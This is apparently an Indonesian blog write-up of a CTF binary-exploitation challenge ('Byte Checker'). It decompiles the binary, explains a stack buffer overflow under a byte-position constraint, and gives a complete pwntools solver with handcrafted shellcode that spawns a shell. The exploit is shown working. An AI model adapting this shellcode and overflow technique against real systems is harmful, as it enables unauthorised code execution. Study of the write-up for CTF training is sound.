Senin, 30 April 2018

Write Up Binary Exploit BTP - Byte Checker(300)

Made with Remarkable! Diberikan binary dengan atribut sebagai berikut.
a@a-l ~/joints/chek $ file checker_b6511e7fde4f5bc1d31ba017af24ffc4 
checker_b6511e7fde4f5bc1d31ba017af24ffc4: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=6df8cbba571d937fe1de0d4cbd94240a2b80bba6, not stripped
a@a-l ~/joints/chek $ checksec checker_b6511e7fde4f5bc1d31ba017af24ffc4 

[*] '/home/a/joints/chek/checker_b6511e7fde4f5bc1d31ba017af24ffc4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
Berikut adalah dua fungsi yang penting didalam program
Fungsi main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int i; // [esp+1Ch] [ebp-4h]

  alarm(30);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  printf(
    ">>> To get flag, read 'flag.txt'. Buffer address = %p\n>>> Feed me something delicious: \n",
    (unsigned int)buffer);
  count = read(0, buffer, 512);
  if ( count & 7 )
  {
    printf(">>> Length of message must be multiple of 8 bytes (got %d bytes)\n", count);
    exit(1);
  }
  for ( i = 1; 8 * i - 1 < count; ++i )
  {
    if ( buffer[8 * i - 1] != i )
    {
      printf(">>> byte at %d should be 0x%02x got 0x%02x\n", 8 * i - 1, i, (unsigned __int8)buffer[8 * i - 1]);
      exit(1);
    }
  }
  overflow(count);
  puts(">>> OK, but you need to exploit this");
  return 0;
}
Fungsi Overflow
int overflow()
{
  int i; // ebx
  int result; // eax
  char v2[132]; // [esp+0h] [ebp-84h]

  for ( i = 0; ; ++i )
  {
    result = count;
    if ( i >= count )
      break;
    v2[i] = buffer[i];
  }
  return result;
}
Binary meminta input dengan maksimal 512 byte. Didalam fungsi main, input dicek dengan beberapa konstrain berikut.
1. Panjang input harus kelipatan 8. Panjang input dihitung dengan return value dari read sehingga panjang input tidak dapat dibypass.
2. Setiap ujung dari kelipatan 8 byte, merupakan nilai urutan kelipatan tersebut. Jika Kelipatan pertama maka ujung dari 8 byte tersebut adalah ‘\x01’
Terdapat celah overflow pada binary tersebut pada fungsi overflow. Buffer 0x84 + 4. Karena pada eip overflow masih berada pada urutan 0 - 4 byte pertama maka tidak ada konstrain, sehingga kita dapat loncat ke alamat manapun pada memori.
Karena binary memiliki executable segment, kita juga dapat melakukan eksekusi shellcode di alamat bss + stack.
Berikut data register sesaat sebelum fungsi loncat ke saved eip.
EAX: 0x90 
EBX: 0x11111111 
ECX: 0x80ebf40 --> 0x1010101 
EDX: 0x200 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067b90 (<__stpcpy_sse2>:  mov    edx,DWORD PTR [esp+0x4])
EBP: 0x11111111 
ESP: 0xffaa09fc --> 0x80ebf6c --> 0x6565152 
Alamat yang berada pada ecx adalah alamat input.
Dengan beberapa celah tersebut maka kita akan coba susun payload eksploit.
Yang terpikirkan oleh saya adalah mengeksekusi read untuk kembali mengisi shellcode yang sebenarnya ke alamat bss, dan loncat kembali ke bss. Saya rasa itu lebih mudah dibandingkan harus membuat shellcode sendiri.
Namun untuk memenuhi konstrain kelipatan keberapa, kita harus menambahkan shellcode kita dengan beberapa padding yang memenuhi.
Dengan menggenerate menggunakan skrip sederhana kita dapat mendapatkan opcode yang mungkin memenuhi.
.
0x6    0:   06                      push   es
0x7    0:   07                      pop    es
.
Berikut hasil eksekusi shellcode yang kami buat.
gdb-peda$ x/100i 0x80ebf6c
=> 0x80ebf6c <buffer+44>:   push   edx
   0x80ebf6d <buffer+45>:   push   ecx
   0x80ebf6e <buffer+46>:   push   esi
   0x80ebf6f <buffer+47>:   push   es ; padding '\x06' karena urutan ke 6
   0x80ebf70 <buffer+48>:   pop    es ; pop kembali agar stack tidak rusak
   0x80ebf71 <buffer+49>:   mov    eax,0x806d140
   0x80ebf76 <buffer+54>:   push   es ; di push terlebih dahulu agar tidak rusak
   0x80ebf77 <buffer+55>:   pop    es ; padding '\x07' karena urutan ke 8
   0x80ebf78 <buffer+56>:   call   eax ; panggil read
   0x80ebf7a <buffer+58>:   jmp    ecx ; loncat ke shellcode
   0x80ebf7c <buffer+60>:   nop
   0x80ebf7d <buffer+61>:   nop
   0x80ebf7e <buffer+62>:   nop
Berikut solver.py
from pwn import *
from sys import *
from time import *
p = process("./checker_b6511e7fde4f5bc1d31ba017af24ffc4")
# p = connect("35.197.134.203", 8031)

cmd = "b *0x08048E4C"

if(len(argv) == 3):
    gdb.attach(p, cmd)
    sleep(1)


pload = ''

# padding awal agar didapat kelipatan 6 di selanjutnya
for i in range(1, 6):
    pload +=  chr(i) * 7
    pload +=  chr(i)

        # padding + popedx + popecx +popesi + pad   
pload += "\x05" * 4 + "\x52\x51\x56" + "\x06"
        # mov eax, alamat_fungsi_read + pad lagi
pload += "\x07\xb8@\xd1\x06\x08" + "\x06\x07"
        #call eax ; panggil read
pload += "\xff\xd0"
        # jmp ecx ; alamat shellcode ada sudah berada di ecx
pload += "\xff"
pload += "\xe1"
pload += "\x90" * 3
pload += "\x08"

# padding
for i in range(9, 18):
    pload +=  chr(i) * 7
    pload +=  chr(i)

#alamat shellcode diaturh
pload += p32(0x80ebf6c)

# padding
pload += p32(0x1206D140)

print len(pload)
print len(pload) % 8
p.send(pload)
sh = asm(shellcraft.sh())
# kirim shellcode yang sesungguhnya
p.sendline(sh)
p.interactive()
Mari kita coba jalankan dengan semangat
>>> To get flag, read 'flag.txt'. Buffer address = 0x80ebf40
>>> Feed me something delicious: 
$ ls
cek.py
checker_b6511e7fde4f5bc1d31ba017af24ffc4
checker_b6511e7fde4f5bc1d31ba017af24ffc4.id0
checker_b6511e7fde4f5bc1d31ba017af24ffc4.id1
checker_b6511e7fde4f5bc1d31ba017af24ffc4.id2
checker_b6511e7fde4f5bc1d31ba017af24ffc4.nam
checker_b6511e7fde4f5bc1d31ba017af24ffc4.til
core
log
peda-session-checker_b6511e7fde4f5bc1d31ba017af24ffc4.txt
solve.py
$ id
uid=1000(a) gid=1000(a) groups=1000(a),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),130(sambashare)